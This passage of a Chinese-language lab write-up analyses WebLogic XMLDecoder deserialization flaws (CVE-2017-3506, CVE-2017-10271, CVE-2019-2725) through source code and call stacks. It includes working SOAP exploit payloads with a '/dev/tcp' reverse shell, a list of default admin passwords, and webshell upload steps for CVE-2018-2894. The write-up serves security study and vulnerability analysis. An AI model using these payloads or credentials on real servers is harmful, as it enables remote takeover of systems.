case XMLStreamConstants.ENTITY_REFERENCE :
//entity reference callback are given in startEntity
break;
case XMLStreamConstants.PROCESSING_INSTRUCTION :
fDocumentHandler.processingInstruction(getPITarget(),getPIData(),null);
break;
case XMLStreamConstants.COMMENT :
//System.out.println(" in COMMENT of the XMLNSDocumentScannerImpl");
fDocumentHandler.comment(getCharacterData(),null);
break;
case XMLStreamConstants.DTD :
//all DTD related callbacks are handled in DTDScanner.
//1. Stax doesn't define DTD states as it does for XML Document.
//therefore we don't need to take care of anything here. So Just break;
break;
case XMLStreamConstants.CDATA:
fDocumentHandler.startCDATA(null);
//xxx: check if CDATA values comes from getCharacterData() function
fDocumentHandler.characters(getCharacterData(),null);
fDocumentHandler.endCDATA(null);
//System.out.println(" in CDATA of the XMLNSDocumentScannerImpl");
break;
case XMLStreamConstants.NOTATION_DECLARATION :
break;
case XMLStreamConstants.ENTITY_DECLARATION :
break;
case XMLStreamConstants.NAMESPACE :
break;
case XMLStreamConstants.ATTRIBUTE :
break;
// 2
case XMLStreamConstants.END_ELEMENT :
//do not give callback here.
//this callback is given in scanEndElement function.
//fDocumentHandler.endElement(getElementQName(),null);
break;
default :
throw new InternalError("processing event: " + event);

}
//System.out.println("here in before calling next");
event = next();
//System.out.println("here in after calling next");
} while (event!=XMLStreamConstants.END_DOCUMENT && complete);

if(event == XMLStreamConstants.END_DOCUMENT) {
fDocumentHandler.endDocument(null);
return false;
}

return true;

} // scanDocument(boolean):boolean

这个函数是扫描xml文档的一个方法,逐个标签读取,同时会读取到换行符
对于以上poc,解析流程为:714 14 14 14 14(cmd) 24 24 14 14(/C) 24 24 14 14(calc) 24 24 24 124 28
这里的关键逻辑都在next中
比如在解析<void class="java.lang.ProcessBuilder">时,函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
addAttribute:84, NewElementHandler (com.sun.beans.decoder)
addAttribute:102, ObjectElementHandler (com.sun.beans.decoder)
startElement:294, DocumentHandler (com.sun.beans.decoder)
startElement:509, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1364, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:11, XmlDecoderTest (XmlDecoder)

从next开始,首先进入XMLDocumentScannerImpl类的next方法

1
2
3
public int next() throws IOException, XNIException {
return fDriver.next();
}

这里的fDriver是XMLDocumentScannerImpl对象,接下来到XMLDocumentFragmentScannerImpl的next方法
这个方法比较长。主要是根据fScannerState参数来选择对应的case
这里进入这个case

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case SCANNER_STATE_START_ELEMENT_TAG :{

//xxx this function returns true when element is empty.. can be linked to end element event.
//returns true if the element is empty
// 扫描
fEmptyElement = scanStartElement() ;
//if the element is empty the next event is "end element"
if(fEmptyElement){
setScannerState(SCANNER_STATE_END_ELEMENT_TAG);
}else{
//set the next possible state
setScannerState(SCANNER_STATE_CONTENT);
}
return XMLEvent.START_ELEMENT ;
}

XMLDocumentFragmentScannerImpl类的scanStartElement方法主要作用是解析标签及其属性

来到AbstractSAXParser类的startElement方法

1
2
fContentHandler.startElement(uri, localpart, element.rawname,
fAttributesProxy);

进入这句,fContentHandler为DocumentHandler,进入DocumentHandler的startElement方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
ElementHandler var5 = this.handler;

try {
// 创建一个新的ElementHandler实例,并通过反射设置其所有者和父级处理器
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}
// 遍历属性列表,并将属性添加到当前处理器中
for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
// 这里
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}

this.handler.startElement();
}


这里的this.handler指的是VoidElementHandler对象
可以进入getElementHandler函数,此时的var1是void

1
2
3
4
5
6
7
8
public Class<? extends ElementHandler> getElementHandler(String var1) {
Class var2 = (Class)this.handlers.get(var1);
if (var2 == null) {
throw new IllegalArgumentException("Unsupported element: " + var1);
} else {
return var2;
}
}


所以最后得到的this.handler是VoidElementHandler对象对象
继续往下跟,来到ObjectElementHandler的addAttribute方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
// 进入到这里
super.addAttribute(var1, var2);
}
}

这里传入的var1是”class”,var2是”java.lang.ProcessBuilder”
进入父类的addAttribute方法

1
2
3
4
5
6
7
8
public void addAttribute(String var1, String var2) {
if (var1.equals("class")) {
// 通过反射生成var2对应的对象
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}
}


也可以进去看看,this.getOwner()得到的是DocumentHandler对象,调用其findClass方法,该方法中又调用ClassFinder.resolveClass方法,其方法中调用了ClassFinder.findClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public static Class<?> findClass(String var0, ClassLoader var1) throws ClassNotFoundException {
ReflectUtil.checkPackageAccess(var0);
if (var1 != null) {
try {
// var0是类名,通过反射获取类
return Class.forName(var0, false, var1);
} catch (ClassNotFoundException var3) {
} catch (SecurityException var4) {
}
}
// 调用重载方法,作用也是一样
return findClass(var0);
}

其他元素的解析流程大致类似
再来看看字符串是如何解析的,如下面这句

1
<string>calc</string>

先解析<string>标签,创建StringElementHandler对象
然后再解析calc字符串
进入到对应的case中

1
2
3
case XMLStreamConstants.CHARACTERS :
fDocumentHandler.characters(getCharacterData(),null);
break;

进入fDocumentHandler.characters方法,这里传入的是calc字符串。此时的fDocumentHandler的handler参数是之前在解析<string>标签时创建StringElementHandler对象

继续进入characters方法

这里的var1正是poc字符,var2标识calc字符串的偏移,var3表示字符串的长度
this.handler是StringElementHandler对象,进入其addCharacter方法

经过4次循环,将calc字符串添加到StringElementHandler对象的sb属性中
至此,字符串的解析完成

再来看看最后一句的解析,这也触发了命令执行

1
<void method="start"/></void>

逐步调试,前面部分的流程和其他标签处理方法一致,进入ObjectElementHandler的getValueObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (this.field != null) {
// 如果存在字段(field),则通过FieldElementHandler获取上下文Bean(contextBean)中字段的值,并创建一个ValueObjectImpl实例返回
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
} else if (this.idref != null) {
// 如果存在idref,则通过getVariable方法获取变量的值,并创建一个ValueObjectImpl实例返回
return ValueObjectImpl.create(this.getVariable(this.idref));
} else {
Object var3 = this.getContextBean();
String var4;
if (this.index != null) {
// 如果存在索引(index),根据var2的长度确定是设置方法还是获取方法
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
// 如果存在属性(property),根据var2的长度确定是设置方法还是获取方法,并根据属性名构造对应的方法名
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
// 如果存在方法(method),则使用指定的方法名,否则使用默认的"new"方法名
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}
// 创建一个Expression实例,用于调用指定的方法,并获取返回值
Expression var5 = new Expression(var3, var4, var2);
// 创建一个ValueObjectImpl实例,将Expression的返回值包装为ValueObjectImpl,并返回
return ValueObjectImpl.create(var5.getValue());
}
}

先进入NewElementHandler类的getContextBean方法

1
2
3
protected final Object getContextBean() {
return this.type != null ? this.type : super.getContextBean();
}

这里的type为空,所以需要进入父类的getContextBean方法

其实根据poc的结构也知道,这里的父类就是type为ProcessBuilder对应的VoidElementHandler对象
此时继续进入父类的getValueObject方法

进入重载方法,同样先调用getContextBean(),由于此时type不为空,所以返回type
接着对于方法而言,由于方法为空,所以设置为new

这里相当于创建一个ProcessBuilder对象
继续回到解析<void method="start"/></void>的getValueObject方法,此时的var3经过getContextBean处理后的是ProcessBuilder对象

最后一行,调用了ProcessBuilder对象的start方法,命令执行成功
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
getValue:157, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
emptyElement:183, AbstractXMLDocumentParser (com.sun.org.apache.xerces.internal.parsers)
scanStartElement:1344, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2787, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:76, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:11, XmlDecoderTest (XmlDecoder)

Expression这个类,该类主要作用是动态调用指定对象的methodName方法.

参考
XMLDecoder反序列化漏洞源码分析 - 知乎 (zhihu.com)

CVE-2017-3506

影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
WebLogic 12.2.1.2
CVE-2017-10271也是一致

默认受到影响的uri:

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

分析
原理大致和下面CVE-2017-10271一致
补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

这里就是将object标签进行过滤,绕过方式就是将object修改成void,也就是CVE-2017-10271

CVE-2017-10271

环境搭建
使用vulhub中的环境,修改docekr-compose.yml文件,加上8453端口的映射,使其能够调试
复现
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

bp抓包

反弹shell成功
远程调试
进入容器,配置weblogic开启远程调试
/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh文件,加入以下内容

1
2
debugFlag="true"
export debugFlag


重启容器即可调试
将需要调试目录导出,放入IDEA,即可启动调试

1
2
3
4
5
sudo docker cp 9e239f7fb3ff:/root ./cve201710271Env
cd cve201710271Env/Oracle/Middleware
mkdir lib
find ./ -name "*.jar" -exec cp {} ./lib/ \;
find ./ -name "*.war" -exec cp {} ./lib/ \;

漏洞分析
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

查看weblogic/wsee/jaxws/workcontext/WorkContextServerTube的processRequest方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
// 获取头部信息
HeaderList var2 = var1.getMessage().getHeaders();
// 从消息的头部列表中获取指定的头部信息
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
// 如果存在指定的头部信息,则使用旧的格式进行读取处理,并将isUseOldFormat标记为true
// 这里
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
// 从消息的头部列表中获取JAX-WS工作区的头部信息
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if (var4 != null) {
// 如果存在JAX-WS工作区的头部信息,则进行读取处理
this.readHeader(var4);
}
}
// 调用父类的processRequest方法进行进一步处理,并返回NextAction对象
return super.processRequest(var1);
}


进入weblogic/wsee/jaxws/workcontext/WorkContextTube的readHeaderOld方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected void readHeaderOld(Header var1) {
try {
// 读取Header中的XML数据流
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
// 创建XMLStreamReaderToXMLStreamWriter实例,用于将XMLStreamReader的数据桥接到XMLStreamWriter
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
// 创建WorkContextXmlInputAdapter实例,并将XML数据流转换为适配器可接受的输入流
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
// 调用receive方法处理适配器中的输入流
this.receive(var6);
} catch (XMLStreamException var7) {
// 抛出WebServiceException异常,表示在处理XML数据流时出现错误
throw new WebServiceException(var7);
} catch (IOException var8) {
// 抛出WebServiceException异常,表示在读取或处理输入流时出现错误
throw new WebServiceException(var8);
}
}

该方法将XML数据流转换为字节数组,并通过适配器将其转换为可处理的输入流。然后,调用receive方法处理适配器中的输入流
其中进入WorkContextXmlInputAdapter的构造函数,它实例化了一个XMLDecoder对象,并将输入的xml输入流作为参数,这与前面的测试例子一样,现在目标是需要调用readObject进行反序列化

1
2
3
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}


进入weblogic/wsee/jaxws/workcontext/WorkContextServerTube的receive方法

1
2
3
4
5
6
protected void receive(WorkContextInput var1) throws IOException {
// 获取WorkContextMapInterceptor实例
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
// 调用WorkContextMapInterceptor的receiveRequest方法,将WorkContextInput对象传递给拦截器进行处理
var2.receiveRequest(var1);
}

这里的var1是前面创建的WorkContextXmlInputAdapter对象,后面的receiveRequest、receiveRequest、readEntry等方法中都是WorkContextXmlInputAdapter对象,直到进入weblogic/wsee/workarea/WorkContextXmlInputAdapter的readUTF方法

1
2
3
public String readUTF() throws IOException {
return (String)this.xmlDecoder.readObject();
}

它调用了readObject方法对目标xml进行反序列化,从而触发命令执行。后面XMLDecoder的调用链和3.2.2中的测试是一致的
补丁分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
}
});
}
}

使用黑名单对上述标签进行了过滤

CVE-2019-2725

影响范围
WebLogic 10.X
WebLogic 12.1.3
影响uri

1
2
3
4
5
6
/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

复现
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>


漏洞分析
函数调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

在weblogic/wsee/server/servlet/SoapProcessor中的process方法对soap消息进行了处理,post提交,调用其本类的handlePost方法进行处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private void handlePost(BaseWSServlet var1, HttpServletRequest var2, HttpServletResponse var3) throws IOException {
assert var1.getPort() != null;
// 获取WsPort对象
WsPort var4 = var1.getPort();
// 获取绑定类型
String var5 = var4.getWsdlPort().getBinding().getBindingType();
// 创建HttpServerTransport实例,用于处理HTTP请求和响应
HttpServerTransport var6 = new HttpServerTransport(var2, var3);
// 获取WsSkel对象
WsSkel var7 = (WsSkel)var4.getEndpoint();

try {
// 使用Connection工厂创建服务器连接
Connection var8 = ConnectionFactory.instance().createServerConnection(var6, var5);
var7.invoke(var8, var4);
} catch (ConnectionException var9) {
// 调用WsSkel的invoke方法,处理连接和WsPort对象
this.sendError(var3, var9, "Failed to create connection");
} catch (Throwable var10) {
this.sendError(var3, var10, "Unknown error");
}
}

中间的其他过程不管,来到weblogic/wsee/workarea/WorkAreaServerHandler中的handleRequest方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean handleRequest(MessageContext var1) {
try {
WlMessageContext var2 = WlMessageContext.narrow(var1);
// 获取消息头部
MsgHeaders var3 = var2.getHeaders();
// 从消息头部获取WorkAreaHeader
WorkAreaHeader var4 = (WorkAreaHeader)var3.getHeader(WorkAreaHeader.TYPE);
if (var4 != null) {
// 获取WorkContextMapInterceptor实例
WorkContextMapInterceptor var5 = WorkContextHelper.getWorkContextHelper().getInterceptor();
// 使用WorkContextXmlInputAdapter适配器接收请求
var5.receiveRequest(new WorkContextXmlInputAdapter(var4.getInputStream()));
if (verbose) {
Verbose.log("Received WorkAreaHeader " + var4);
}
}

return true;
} catch (IOException var6) {
throw new JAXRPCException("Unable to procees WorkContext:" + var6);
}
}

前面也提到,WorkContextXmlInputAdapter的构造函数中new了一个XMLDecoder对象,传入的是soap header的wordcontext元素
接下来的步骤和CVE-2017-10271一致,其实它们的漏洞原理都是一致的
补丁分析
使用网上一张图

这里直接ban掉了class元素以及限制了array元素的长度

参考
Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725) - co0ontty
Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读

参考

WebLogic-XMLDecoder反序列化漏洞分析
Weblogic XMLDecoder RCE分析
xmldecoder反序列化的补丁与绕过

其他漏洞

弱口令

前置知识
后台常用默认弱口令:

1
2
3
4
5
6
7
8
9
system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
后台登录地址:/console/login/LoginForm.jsp
另外weblogic的密码使用AES加密(老版本使用3DES),对称密码在获取密文和密钥的情况下可解密,存放的文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
环境
使用vulhub中的docker环境进行复现:

1
2
3
4
5
6
7
╭─dili@dili ~/vulhub/weblogic/weak_password ‹master› 
╰─$ sudo docker-compose up -d

╭─dili@dili ~/vulhub/weblogic/weak_password ‹master›
╰─$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
76e193e908ce vulhub/weblogic:10.3.6.0-2017 "startWebLogic.sh" 44 seconds ago Up 23 seconds 0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp weak_password_weblogic_1

docker环境在服务器中,将7001映射到外部端口33401
访问http://10.140.32.159:33401/console/login/LoginForm.jsp

使用常用的弱口令尝试登录,用户名:weblogic 口令:Oracle@123
成功登入后台,接下来就是找到上传文件的点,获取shell
点击部署->安装

准备一个jsp马,并将对应的目录打成war包上传

1
jar -cvf pack.war .


部署成功,使用冰蝎进行连接

参考:weblogic常见漏洞(一)- 控制台弱口令 | meta-sec

未授权访问

CVE-2018-2894

漏洞复现
使用vulhub上的docker搭建环境

1
sudo docker-compose up -d

查看此容器的账户和密码

1
sudo docker-compose logs | grep password

使用账户(weblogic)和密码(deUHw2wQ)登录后台
选择高级选项

启用Web服务测试页

开发环境下的测试页有config.do和begin.do
进入config.do文件,将目录设置为ws_utc应用的静态文件css目录

1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css


上传一个jsp文件

后端存储的文件名是时间戳+上传的文件名,时间戳会回显在代码中

访问http://10.140.32.159:33401/ws_utc/css/config/keystore/1692882428438_shell.jsp
使用冰蝎连接

同样可以使用begin.do进行利用
访问http://10.140.32.159:33401/ws_utc/begin.do,上传jsp
尽管上传后会报错,但是抓post包的响应中有jsp文件名

访问http://10.140.32.159:33401/ws_utc/css/upload/RS_Upload_2023-08-24_13-16-31_154/import_file_name_shell.jsp,使用冰蝎连接

CVE-2020-14882

漏洞复现
使用vulhub上的docker搭建环境
这里未授权访问的地址是
